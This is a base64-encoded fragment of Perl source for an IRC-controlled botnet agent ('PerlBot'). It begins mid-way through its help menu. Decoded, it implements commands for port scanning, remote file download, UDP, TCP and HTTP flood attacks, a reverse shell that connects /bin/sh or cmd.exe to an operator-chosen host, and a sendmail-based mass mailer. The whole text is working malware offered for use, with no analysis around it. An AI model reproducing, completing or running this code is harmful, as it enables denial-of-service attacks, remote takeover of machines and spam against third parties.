IXggMTJAOSwxaHR0cCA8c2l0ZT4gPHRpbWU+ICAgICAgICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFjdGNwZmxvb2QgPG5pY2s+ICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMW1zZ2Zsb29kIDxuaWNrPiAgICAgICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxbm90aWNlZmxvb2QgPG5pY2s+ICAgICAgICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9eY2hhbm5lbC8pIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSAgICAgICAgcHMgUGVybEJvdCBDaGFubmVsIEhlbHA6ICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDE9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxam9pbiA8Y2hhbm5lbD4gICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFwYXJ0IDxjaGFubmVsPiAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyITksMXJlam9pbiA8Y2hhbm5lbD4gICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTIhOSwxb3AgPGNoYW5uZWw+IDxuaWNrPiAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMiE5LDFkZW9wIDxjaGFubmVsPiA8bmljaz4gICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyITksMXZvaWNlIDxjaGFubmVsPiA8bmljaz4gICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTIhOSwxZGV2b2ljZSA8Y2hhbm5lbD4gPG5pY2s+ICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMiE5LDFuaWNrIDxuZXduaWNrPiAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyITksMW1zZyA8bmljaz4gICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTIhOSwxcXVpdCAgICAgICAgICAgICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMiE5LDFkaWUgICAgICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KfQ0KDQppZiAoJGZ1bmNhcmcgPX4gL151dGlscy8pIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSAgICAgICAgICAgICBwcyBQZXJsQm90IFV0aWxzIEhlbHA6ICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFjYmFjayA8aXA+IDxwb3J0PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMWRvd25sb2FkIDx1cmwrcGF0aD4gPGZpbGU+ICAgICAgICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxbWFpbCA8c3ViamVjdD4gPHNlbmRlcj4gPHJlY2lwaWVudD4gPG1lc3NhZ2U+ICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCAxMkA5LDFkbnMgPGlwPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMSF4IDEyQDksMXBvcnQgPGlwPiA8cG9ydD4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSGVscF0gOSwxIXggMTJAOSwxcG9ydHNjYW4gPGlwPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtIZWxwXSA5LDEheCBwd2QgKGZvciBleGFtcGxlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0hlbHBdIDksMT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSIpOw0KfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIyMjIyBbIEZ1bmN0aW9ucyBdICMjIyMjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmlmICgkZnVuY2FyZyA9fiAvXmRpZS8pIHsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJRVUlUIDoiKTsNCiAgICAgICAgJGtpbGxkID0gImtpbGwgLTkgIi5mb3JrOw0KICAgICAgICBzeXN0ZW0gKGAka2lsbGRgKTsNCn0NCiMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15qb2luICguKikvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiSk9JTiAiLiQxKTsNCn0NCg0KaWYgKCRmdW5jYXJnID1+IC9ecGFydCAoLiopLykgew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBBUlQgIi4kMSk7DQp9DQojIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9ecG9ydHNjYW4gKC4qKS8pIHsNCiAgbXkgJGhvc3RpcD0iJDEiOw0KICBteSBAcG9ydGFzPSgiMSIsIjciLCI5IiwiMTQiLCIyMCIsIjIxIiwiMjIiLCIyMyIsIjI1IiwiNTMiLCI4MCIsIjg4IiwiMTEwIiwiMTEyIiwiMTEzIiwiMTM3IiwiMTQzIiwiMTQ1IiwiMjIyIiwiMzMzIiwiNDA1IiwiNDQzIiwiNDQ0IiwiNDQ1IiwiNTEyIiwiNTg3IiwiNjE2IiwiNjY2IiwiOTkzIiwiOTk1IiwiMTAyNCIsIjEwMjUiLCIxMDgwIiwiMTE0NCIsIjExNTYiLCIxMjIyIiwiMTIzMCIsIjEzMzciLCIxMzQ4IiwiMTYyOCIsIjE2NDEiLCIxNzIwIiwiMTcyMyIsIjE3NjMiLCIxOTgzIiwiMTk4NCIsIjE5ODUiLCIxOTg3IiwiMTk4OCIsIjE5OTAiLCIxOTk0IiwiMjAwNSIsIjIwMjAiLCIyMTIxIiwiMjIwMCIsIjIyMjIiLCIyMjIzIiwiMjM0NSIsIjIzNjAiLCIyNTAwIiwiMjcyNyIsIjMxMzAiLCIzMTI4IiwiMzEzNyIsIjMxMjkiLCIzMzAzIiwiMzMwNiIsIjMzMzMiLCIzMzg5IiwiNDAwMCIsIjQwMDEiLCI0NDcxIiwiNDg3NyIsIjUyNTIiLCI1NTIyIiwiNTU1MyIsIjU1NTQiLCI1NjQyIiwiNTc3NyIsIjU4MDAiLCI1ODAxIiwiNTkwMCIsIjU5MDEiLCI2MDYyIiwiNjU1MCIsIjY1MjIiLCI2NjAwIiwiNjYyMiIsIjY2NjIiLCI2NjY1IiwiNjY2NiIsIjY2NjciLCI2OTY5IiwiNzAwMCIsIjc5NzkiLCI4MDA4IiwiODA4MCIsIjgwODEiLCI4MDgyIiwiODE4MSIsIjgyNDYiLCI4NDQzIiwiODUyMCIsIjg3ODciLCI4ODU1IiwiODg4MCIsIjg5ODkiLCI5ODU1IiwiOTg2NSIsIjk5OTciLCI5OTk5IiwiMTAwMDAiLCIxMDAwMSIsIjEwMDEwIiwiMTAyMjIiLCIxMTE3MCIsIjExMzA2IiwiMTE0NDQiLCIxMjI0MSIsIjEyMzEyIiwiMTQ1MzQiLCIxNDU2OCIsIjE1OTUxIiwiMTcyNzIiLCIxOTYzNSIsIjE5OTA2IiwiMTk5MDAiLCIyMDAwMCIsIjIxNDEyIiwiMjE0NDMiLCIyMTIwNSIsIjIyMDIyIiwiMzA5OTkiLCIzMTMzNiIsIjMxMzM3IiwiMzI3NjgiLCIzMzE4MCIsIjM1NjUxIiwiMzY2NjYiLCIzNzk5OCIsIjQxMTE0IiwiNDEyMTUiLCI0NDU0NCIsIjQ1MDU1IiwiNDU1NTUiLCI0NTY3OCIsIjUxMTE0IiwiNTEyNDciLCI1MTIzNCIsIjU1MDY2IiwiNTU1NTUiLCI2NTExNCIsIjY1MTU2IiwiNjUxMjAiLCI2NTQxMCIsIjY1NTAwIiwiNjU1MDEiLCI2NTUyMyIsIjY1NTMzIik7DQogIG15IChAYWJlcnRhLCAlcG9ydGFfYmFubmVyKTsNCiAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbUG9ydCBTY2FuXSA5LDFTY2FubmluZyBmb3Igb3BlbiBwb3J0cyBvbiAxMiIuJDEuIiA5LDFzdGFydGVkLiAiKTsNCiAgZm9yZWFjaCBteSAkcG9ydGEgKEBwb3J0YXMpICB7DQogICAgbXkgJHNjYW5zb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJBZGRyID0+ICRob3N0aXAsIFBlZXJQb3J0ID0+ICRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcsIFRpbWVvdXQgPT4gNCk7DQogICAgaWYgKCRzY2Fuc29jaykgew0KICAgICAgcHVzaCAoQGFiZXJ0YSwgJHBvcnRhKTsNCiAgICAgICRzY2Fuc29jay0+Y2xvc2U7DQogICAgfQ0KICB9DQogIGlmIChAYWJlcnRhKSB7DQogICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbUG9ydCBTY2FuXSA5LDFPcGVuIHBvcnRzIGZvdW5kOiAxMkBhYmVydGEgIik7DQogICAgfSBlbHNlIHsNCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtQb3J0IFNjYW5dIDksMU5vIG9wZW4gcG9ydHMgZm91bmQuICIpOw0KICB9DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9eZG93bmxvYWRccysoLiopXHMrKC4qKS8pIHsNCiAgICAgICAgZ2V0c3RvcmUoIiQxIiwgIiQyIik7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0Rvd25sb2FkXSA5LDFEb3dubG9hZGVkIHRoZSBmaWxlOiAxMiQyIDksMWZyb20gMTIkMSAiKTsNCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL15kbnNccysoLiopLyl7DQogICAgICAgIG15ICRuc2t1ID0gJDE7DQogICAgICAgICRteWRucyA9IGluZXRfbnRvYShpbmV0X2F0b24oJG5za3UpKTsNCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbRE5TXSA5LDFSZXNvbHZlZDogMTIkbnNrdSA5LDF0byAxMiRteWRucyAiKTsNCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmc9fiAvXnBvcnRccysoLio/KVxzKyguKikvICkgew0KICAgICAgICBteSAkaG9zdGlwPSAiJDEiOw0KICAgICAgICBteSAkcG9ydHNjPSAiJDIiOw0KICAgICAgICBteSAkc2NhbnNvY2sgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcoUGVlckFkZHIgPT4gJGhvc3RpcCwgUGVlclBvcnQgPT4gJHBvcnRzYywgUHJvdG8gPT4ndGNwJywgVGltZW91dCA9PiA3KTsNCiAgICAgICAgaWYgKCRzY2Fuc29jaykgew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtQT1JUXSA5LDFDb25uZWN0aW9uIHRvIDEyJGhvc3RpcDksMToxMiRwb3J0c2MgOSwxaXMgMTJBY2NlcHRlZC4gIik7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1BPUlRdIDksMUNvbm5lY3Rpb24gdG8gMTIkaG9zdGlwOSwxOjEyJHBvcnRzYyA5LDFpcyA0UmVmdXNlZC4gIik7DQogICAgICAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL151ZHAxXHMrKC4qKVxzKyhcZCspXHMrKFxkKykvKSB7DQogICAgcmV0dXJuIHVubGVzcyAkcGFjb3RlczsNCiAgICBzb2NrZXQoVHIweCwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpOw0KICAgIG15ICRhbHZvPWluZXRfYXRvbigiJDEiKTsNCiAgICBteSAkcG9ydGEgPSAiJDIiOw0KICAgIG15ICRkdGltZSA9ICIkMyI7DQogICAgbXkgJHBhY290ZTsNCiAgICBteSAkcGFjb3Rlc2U7DQogICAgICAgIG15ICRzaXplID0gMDsNCiAgICBteSAkZmltID0gdGltZSArICRkdGltZTsNCiAgICBteSAkcGFjb3RhID0gMTsNCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtVRFAtMSBGbG9vRF0gOSwxQXR0YWNraW5nIDEyIi4kMS4iIDksMU9uIFBvcnQgMTIiLiRwb3J0YS4iIDksMWZvciAxMiIuJGR0aW1lLiIgOSwxc2Vjb25kcy4gIik7DQogICAgICAgIHdoaWxlICgoJHBhY290YSA9PSAiMSIpICYmICgkcGFjb3RlcyA9PSAiMSIpKSB7DQogICAgICAgICAgICAkcGFjb3RhID0gMCBpZiAoKHRpbWUgPj0gJGZpbSkgJiYgKCRkdGltZSAhPSAiMCIpKTsNCiAgICAgICAgICAgICRwYWNvdGUgPSAkc2l6ZSA/ICRzaXplIDogaW50KHJhbmQoMTAyNC02NCkrNjQpIDsNCiAgICAgICAgICAgICRwb3J0YSA9IGludChyYW5kIDY1MDAwKSArMSBpZiAoJHBvcnRhID09ICIwIik7DQogICAgICAgICAgICAjc2VuZChUcjB4LCAwLCAkcGFjb3RlLCBzb2NrYWRkcl9pbigkcG9ydGEsICRhbHZvKSk7DQogICAgICAgICAgICBzZW5kKFRyMHgsIHBhY2soImEkcGFjb3RlIiwiVHIweCIpLCAwLCBwYWNrX3NvY2thZGRyX2luKCRwb3J0YSwgJGFsdm8pKTsNCiAgICAgICAgICAgIH0NCiAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtVRFAtMSBGbG9vRF0gOSwxQXR0YWNrIGZvciAxMiIuJDEuIiA5LDFmaW5pc2hlZCBpbiAxMiIuJGR0aW1lLiIgOSwxc2Vjb25kczksMS4gIik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9edWRwMlxzKyguKilccysoXGQrKVxzKyhcZCspLykgew0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtVRFAtMiBGbG9vRF0gOSwxQXR0YWNraW5nIDEyIi4kMS4iIDksMXdpdGggMTIiLiQyLiIgOSwxS2IgUGFja2V0cyBmb3IgMTIiLiQzLiIgOSwxc2Vjb25kcy4gIik7DQogICAgICAgIG15ICgkZHRpbWUsICVwYWNvdGVzKSA9IHVkcGZsb29kZXIoIiQxIiwgIiQyIiwgIiQzIik7DQogICAgICAgICRkdGltZSA9IDEgaWYgJGR0aW1lID09IDA7DQogICAgICAgIG15ICVieXRlczsNCiAgICAgICAgJGJ5dGVze2lnbXB9ID0gJDIgKiAkcGFjb3Rlc3tpZ21wfTsNCiAgICAgICAgJGJ5dGVze2ljbXB9ID0gJDIgKiAkcGFjb3Rlc3tpY21wfTsNCiAgICAgICAgJGJ5dGVze299ID0gJDIgKiAkcGFjb3Rlc3tvfTsNCiAgICAgICAgJGJ5dGVze3VkcH0gPSAkMiAqICRwYWNvdGVze3VkcH07DQogICAgICAgICRieXRlc3t0Y3B9ID0gJDIgKiAkcGFjb3Rlc3t0Y3B9Ow0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtVRFAtMiBGbG9vRF0gOSwxUmVzdWx0cyAxMiIuaW50KCgkYnl0ZXN7aWNtcH0rJGJ5dGVze2lnbXB9KyRieXRlc3t1ZHB9ICsgJGJ5dGVze299KS8xMDI0KS4iIDksMUtiIGluIDEyIi4kZHRpbWUuIiA5LDFzZWNvbmRzIHRvIDEyIi4kMS4iOSwxLiAiKTsNCn0NCiMjIyMjIyMjIyMjIyMjDQppZiAoJGZ1bmNhcmcgPX4gL151ZHAzXHMrKC4qKVxzKyhcZCspXHMrKFxkKykvKSB7DQogICAgcmV0dXJuIHVubGVzcyAkcGFjb3RlczsNCiAgICBzb2NrZXQoVHIweCwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpOw0KICAgIG15ICRhbHZvPWluZXRfYXRvbigiJDEiKTsNCiAgICBteSAkcG9ydGEgPSAiJDIiOw0KICAgIG15ICRkdGltZSA9ICIkMyI7DQogICAgbXkgJHBhY290ZTsNCiAgICBteSAkcGFjb3Rlc2U7DQogICAgbXkgJGZpbSA9IHRpbWUgKyAkZHRpbWU7DQogICAgbXkgJHBhY290YSA9IDE7DQogICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbVURQLTMgRmxvb0RdIDksMUF0dGFja2luZyAxMiIuJDEuIiA5LDFPbiBQb3J0IDEyIi4kcG9ydGEuIiA5LDFmb3IgMTIiLiRkdGltZS4iIDksMXNlY29uZHMuICIpOw0KICAgICAgICB3aGlsZSAoKCRwYWNvdGEgPT0gIjEiKSAmJiAoJHBhY290ZXMgPT0gIjEiKSkgew0KICAgICAgICAgICAgJHBhY290YSA9IDAgaWYgKCh0aW1lID49ICRmaW0pICYmICgkZHRpbWUgIT0gIjAiKSk7DQogICAgICAgICAgICAkcGFjb3RlPSAkcmFuZCB4ICRyYW5kIHggJHJhbmQ7DQogICAgICAgICAgICAkcG9ydGEgPSBpbnQocmFuZCA2NTAwMCkgKzEgaWYgKCRwb3J0YSA9PSAiMCIpOw0KICAgICAgICAgICAgc2VuZChUcjB4LCAwLCAkcGFjb3RlLCBzb2NrYWRkcl9pbigkcG9ydGEsICRhbHZvKSkgYW5kICRwYWNvdGVzZSsrIGlmICgkcGFjb3RlcyA9PSAiMSIpOw0KICAgICAgICAgICAgfQ0KICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1VEUC0zIEZsb29EXSA5LDFSZXN1bHRzIDEyIi4kcGFjb3Rlc2UuIiA5LDFLYiBpbiAxMiIuJGR0aW1lLiIgOSwxc2Vjb25kcyB0byAxMiIuJDEuIjksMS4gIik7DQp9DQojIyMjIyMjIyMjIyMjIw0KDQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9edGNwXHMrKC4qKVxzKyhcZCspXHMrKFxkKykvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1RDUCBGbG9vRF0gOSwxQXR0YWNraW5nIDEyIi4kMS4iOiIuJDIuIiA5LDFmb3IgMTIiLiQzLiIgOSwxc2Vjb25kcy4gIik7DQogICAgICAgIG15ICRpdGltZSA9IHRpbWU7DQogICAgICAgIG15ICgkY3VyX3RpbWUpOw0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KICAgICAgICB3aGlsZSAoJDM+JGN1cl90aW1lKXsNCiAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCiAgICAgICAgJnRjcGZsb29kZXIoIiQxIiwiJDIiLCIkMyIpOw0KfQ0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW1RDUCBGbG9vRF0gOSwxQXR0YWNrIGVuZGVkIG9uOiAxMiIuJDEuIjoiLiQyLiI5LDEuICIpOw0KfQ0KIyMjIyMjIyMjIyMjIyMNCmlmICgkZnVuY2FyZyA9fiAvXmh0dHBccysoLiopXHMrKFxkKykvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDFbSFRUUCBGbG9vRF0gOSwxQXR0YWNraW5nIDEyIi4kMS4iIDksMW9uIHBvcnQgODAgZm9yIDEyIi4kMi4iIDksMXNlY29uZHMuICIpOw0KICAgICAgICBteSAkaXRpbWUgPSB0aW1lOw0KICAgICAgICBteSAoJGN1cl90aW1lKTsNCiAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsNCiAgICAgICAgd2hpbGUgKCQyPiRjdXJfdGltZSl7DQogICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7DQogICAgICAgIG15ICRzb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcocHJvdG89Pid0Y3AnLCBQZWVyQWRkcj0+JDEsIFBlZXJQb3J0PT44MCk7DQogICAgICAgIHByaW50ICRzb2NrZXQgIkdFVCAvIEhUVFAvMS4xXHJcbkFjY2VwdDogKi8qXHJcbkhvc3Q6ICIuJDEuIlxyXG5Db25uZWN0aW9uOiBLZWVwLUFsaXZlXHJcblxyXG4iOw0KICAgICAgICBjbG9zZSgkc29ja2V0KTsNCn0NCiAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOjQsMSBbSFRUUCBGbG9vRF0gOSwxQXR0YWNraW5nIGVuZGVkIG9uOiAxMiIuJDEuIjksMS4gIik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9eY2JhY2tccysoLiopXHMrKFxkKykvKSB7DQogICAgICAgIG15ICRob3N0ID0gIiQxIjsNCiAgICAgICAgbXkgJHBvcnQgPSAiJDIiOw0KICAgICAgICBteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7DQogICAgICAgIG15ICRpYWRkciA9IGluZXRfYXRvbigkaG9zdCk7DQogICAgICAgIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpOw0KICAgICAgICBteSAkc2hlbGwgPSAiL2Jpbi9zaCAtaSI7DQppZiAoJF5PIGVxICJNU1dpbjMyIikgew0KICAgICAgICAkc2hlbGwgPSAiY21kLmV4ZSI7DQp9DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW0Nvbm5lY3QgQmFja10gOSwxQ29ubmVjdGluZyB0byAxMiRob3N0OiRwb3J0ICIpOw0KICAgICAgICBzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSBvciBkaWUgInNvY2tldDogJCEiOw0KICAgICAgICBjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSBvciBkaWUgImNvbm5lY3Q6ICQhIjsNCiAgICAgICAgb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQogICAgICAgIG9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCiAgICAgICAgb3BlbihTVERFUlIsICI+JlNPQ0tFVCIpOw0KICAgICAgICBzeXN0ZW0oIiRzaGVsbCIpOw0KICAgICAgICBjbG9zZShTVERJTik7DQogICAgICAgIGNsb3NlKFNURE9VVCk7DQogICAgICAgIGNsb3NlKFNUREVSUik7DQp9DQojIyMjIyMjIyMjIyMjIw0KaWYgKCRmdW5jYXJnID1+IC9ebWFpbFxzKyguKilccysoLiopXHMrKC4qKVxzKyguKikvKSB7DQogICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDo0LDEgW01haWxlcl0gOSwxU2VuZGluZyBlbWFpbCB0bzogMTIkMyAiKTsNCiAgICAgICAgJHN1YmplY3QgPSAkMTsNCiAgICAgICAgJHNlbmRlciA9ICQyOw0KICAgICAgICAkcmVjaXBpZW50ID0gJDM7DQogICAgICAgIEBjb3JwbyA9ICQ0Ow0KICAgICAgICAkbWFpbHR5cGUgPSAiY29udGVudC10eXBlOiB0ZXh0L2h0bWwiOw0KICAgICAgICAkc2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsNCiAgICAgICAgb3BlbiAoU0VORE1BSUwsICJ8ICRzZW5kbWFpbCAtdCIpOw0KICAgICAgICBwcmludCBTRU5ETUFJTCAiJG1haWx0eXBlXG4iOw0KICAgICAgICBwcmludCBTRU5ETUFJTCAiU3ViamVjdDogJHN1YmplY3RcbiI7DQogICAgICAgIHByaW50IFNFTkRNQUlMICJGcm9tOiAkc2VuZGVyXG4iOw0KICAgICAgICBwcmludCBTRU5ETUFJTCAiVG86ICRyZWNpcGllbnRcblxuIjsNCiAgICAgICAgcHJpbnQgU0VORE1BSUwgIkBjb3Jwb1xuXG4iOw0KICAgICAgICBjbG9zZSAoU0VORE1BSUwpOw0KICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6NCwxIFtNYWlsZXJdIDksMUVtYWlsIFNlbmRlZCB0bzogMTIkcmVjaXBpZW50ICIpOw0KfQ0KZXhpdDsN